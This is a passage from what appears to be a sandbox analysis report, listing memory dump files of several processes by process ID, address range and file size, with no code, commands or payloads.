20KB
-
memory/8316-1034-0x0000000000F60000-0x0000000000F66000-memory.dmpFilesize
24KB
-
memory/8316-1036-0x0000000000F50000-0x0000000000F5C000-memory.dmpFilesize
48KB
-
memory/8352-1005-0x0000000000C10000-0x0000000000C7B000-memory.dmpFilesize
428KB
-
memory/8352-1004-0x0000000000C80000-0x0000000000CF4000-memory.dmpFilesize
464KB
-
memory/8492-1017-0x000000006F280000-0x000000006F96E000-memory.dmpFilesize
6.9MB
-
memory/8492-1027-0x0000000002AC0000-0x0000000002AC1000-memory.dmpFilesize
4KB
-
memory/8492-1033-0x00000000056E0000-0x00000000056E4000-memory.dmpFilesize
16KB
-
memory/8492-1030-0x00000000052C0000-0x00000000052C1000-memory.dmpFilesize
4KB
-
memory/8492-1037-0x000000007E430000-0x000000007E431000-memory.dmpFilesize
4KB
-
memory/8492-1019-0x0000000000790000-0x0000000000791000-memory.dmpFilesize
4KB
-
memory/8544-1009-0x00000000004E0000-0x00000000004EC000-memory.dmpFilesize
48KB
-
memory/8544-1008-0x00000000004F0000-0x00000000004F7000-memory.dmpFilesize
28KB
-
memory/8548-1046-0x00000000007E0000-0x00000000007E9000-memory.dmpFilesize
36KB
-
memory/8548-1043-0x00000000007F0000-0x00000000007F5000-memory.dmpFilesize
20KB
-
memory/8552-1011-0x0000000000C40000-0x0000000000C41000-memory.dmpFilesize
4KB
-
memory/8552-1010-0x000000006F280000-0x000000006F96E000-memory.dmpFilesize
6.9MB
-
memory/8552-1029-0x0000000005820000-0x0000000005821000-memory.dmpFilesize
4KB
-
memory/8688-972-0x0000000002BF0000-0x0000000002BF2000-memory.dmpFilesize
8KB
-
memory/8688-971-0x00007FFA033C0000-0x00007FFA03D60000-memory.dmpFilesize
9.6MB
-
memory/8816-1014-0x00000000009C0000-0x00000000009CB000-memory.dmpFilesize
44KB
-
memory/8816-1012-0x00000000009D0000-0x00000000009D7000-memory.dmpFilesize
28KB
-
memory/8896-982-0x00007FFA033C0000-0x00007FFA03D60000-memory.dmpFilesize
9.6MB
-
memory/8896-983-0x0000000002F50000-0x0000000002F52000-memory.dmpFilesize
8KB
-
memory/8968-984-0x000000006F280000-0x000000006F96E000-memory.dmpFilesize
6.9MB
-
memory/8968-993-0x0000000005840000-0x0000000005841000-memory.dmpFilesize
4KB
-
memory/8968-985-0x0000000000C00000-0x0000000000C01000-memory.dmpFilesize
4KB
-
memory/9068-1002-0x000000001BD30000-0x000000001BD32000-memory.dmpFilesize
8KB
-
memory/9068-992-0x00007FFA029D0000-0x00007FFA033BC000-memory.dmpFilesize
9.9MB
-
memory/9080-980-0x00000000049F4000-0x00000000049F6000-memory.dmpFilesize
8KB
-
memory/9080-979-0x00000000049F3000-0x00000000049F4000-memory.dmpFilesize
4KB
-
memory/9080-976-0x00000000049F0000-0x00000000049F1000-memory.dmpFilesize
4KB
-
memory/9080-981-0x00000000049F2000-0x00000000049F3000-memory.dmpFilesize
4KB
-
memory/9080-975-0x00000000021E0000-0x00000000021EA000-memory.dmpFilesize
40KB
-
memory/9080-978-0x0000000004900000-0x0000000004909000-memory.dmpFilesize
36KB
-
memory/9080-973-0x00000000020A0000-0x00000000020A1000-memory.dmpFilesize
4KB
-
memory/9080-974-0x000000006F280000-0x000000006F96E000-memory.dmpFilesize
6.9MB
-
memory/9116-1038-0x0000000002550000-0x0000000002551000-memory.dmpFilesize
4KB
-
memory/9140-1055-0x0000018DB2E80000-0x0000018DB2E81000-memory.dmpFilesize
4KB
-
memory/9140-1052-0x0000018DB2E60000-0x0000018DB2E61000-memory.dmpFilesize
4KB
-
memory/9140-1049-0x0000018DB2E30000-0x0000018DB2E31000-memory.dmpFilesize
4KB
-
memory/9200-1048-0x00000000029F0000-0x00000000029F2000-memory.dmpFilesize
8KB
-
memory/9200-1047-0x00007FFA033C0000-0x00007FFA03D60000-memory.dmpFilesize
9.6MB